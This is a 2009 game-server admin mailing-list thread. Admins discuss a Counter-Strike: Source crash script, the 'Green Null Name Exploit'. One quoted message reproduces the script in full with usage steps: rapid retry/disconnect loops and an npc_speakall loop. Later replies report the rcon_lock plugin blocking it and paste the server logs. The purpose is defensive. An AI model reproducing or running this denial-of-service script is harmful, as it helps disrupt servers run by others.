Somebody actually just tried this on my server in the last 10 minutes, and
rcon lock definitely blocked it:

L 08/23/2009 - 04:21:59: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:
L 08/23/2009 - 04:22:00: [rcon_lock.smx] Got half-connected command from
client 71.137.230.203:

I tried it on my own test server after as well, and "rcon lock" blocked it
there as well.

On Sun, Aug 23, 2009 at 4:18 AM, Kyle Sanderson <[email protected]> wrote:

> Sorry for the double mail,
> Here is a youtube video that I found showing off this exploit.
> http://www.youtube.com/watch?v=8ScKSfsd3TU
>
> Kyle.
>
> On Sun, Aug 23, 2009 at 3:46 AM, Kyle Sanderson <[email protected]>
> wrote:
>
> > I have Rcon Lock installed, this attack still works as it's not calling
> any
> > commands rather than just calling retry in 0.01second intervals. I was
> just
> > thinking about a plugin/script that would ban someones IP for 5 minutes
> > after a person connects 2times in 5 seconds?
> >
> > I don't know if that's even possible,
> > Kyle.
> >
> >
> > On Sun, Aug 23, 2009 at 2:18 AM, P. Bhandal <[email protected]> wrote:
> >
> >> I'm not at home, so I can't test it right now, but I believe
> DeviceNull's
> >> rcon lock plugin blocks clients from sending commands before they are
> >> fully
> >> connected. You can find more details on it here:
> >>
> >> http://forums.alliedmods.net/showthread.php?p=841590
> >>
> >> On Sun, Aug 23, 2009 at 2:01 AM, Kyle Sanderson <[email protected]>
> >> wrote:
> >>
> >> > Not sure how many of you have encountered this script. But it has been
> >> > taking my server down quite a bit lately. Just found the kid on FPSB
> >> > posting
> >> > his script up so here we are.
> >> >
> >> > Hey guys im releasing my Green Null Name Exploit
> >> > (BTW SAVE THIS AS A text file)
> >> >
> >> >
> >> > 1) now u have a .txt file u make a folder in ur c strike called
> >> testscripts
> >> > 2) open the .txt and edit it to make anything you want the symbols in
> >> there
> >> > between letters make the color of your name change so keep those in
> >> there
> >> > 3) put the script in your testscripts folder
> >> > 4) open counter strike and now join a server and put this in console
> >> > Test_StartScript crash.txt
> >> > only leave it as crash.txt if u dont change the name of your file.
> >> >
> >> > Setinfo name " CaM FuCkEd Up ThE SeRvEr... "
> >> > retry
> >> > Test_Wait .75
> >> > disconnect
> >> > Test_Wait .2
> >> > setinfo name " CaM FuCkEd Up ThE SeRvEr... "
> >> > Test_Wait .1
> >> > retry
> >> > Test_Wait .75
> >> > disconnect
> >> > Test_Wait .2
> >> > setinfo name " CaM FuCkEd Up ThE SeRvEr... "
> >> > Test_Wait .1
> >> > retry
> >> > Test_Wait .75
> >> > disconnect
> >> > Test_Wait .1
> >> > setinfo name " C a m   W i n s "
> >> >
> >> > Test_StartLoop spamcrash
> >> > retry
> >> > Test_Wait 0.01
> >> > disconnect
> >> > Test_Wait 0.01
> >> > Test_LoopForNumSeconds spamcrash 1
> >> >
> >> > Test_Wait .1
> >> > retry;
> >> >
> >> > Test_StartLoop crash
> >> > npc_speakall
> >> > Test_Wait 0.01
> >> > Test_LoopForNumSeconds crash 2
> >> > disconnect;
> >> >
> >> >
> >> > http://www.fpsbanana.com/scripts/5196
> >> >
> >> > Anyways, hope this helps some of you and maybe a script/patch can be
> >> made
> >> > via sourcemod. I've already blocked the string npc_speakall via
> iptables
> >> > but
> >> > that had no effect (Not even sure if that calls any functions on the
> >> > server.) I'm running CentOS 32bit and a bunch of CS:S servers.
> >> > Kyle.
> >> > _______________________________________________
> >> > To unsubscribe, edit your list preferences, or view the list archives,
> >> > please visit:
> >> > http://list.valvesoftware.com/mailman/listinfo/hlds
> >> >
> >> _______________________________________________
> >> To unsubscribe, edit your list preferences, or view the list archives,
> >> please visit:
> >> http://list.valvesoftware.com/mailman/listinfo/hlds
> >>
> >
> >
> _______________________________________________
> To unsubscribe, edit your list preferences, or view the list archives,
> please visit:
> http://list.valvesoftware.com/mailman/listinfo/hlds
>
_______________________________________________
To unsubscribe, edit your list preferences, or view the list archives, please 
visit:
http://list.valvesoftware.com/mailman/listinfo/hlds

Reply via email to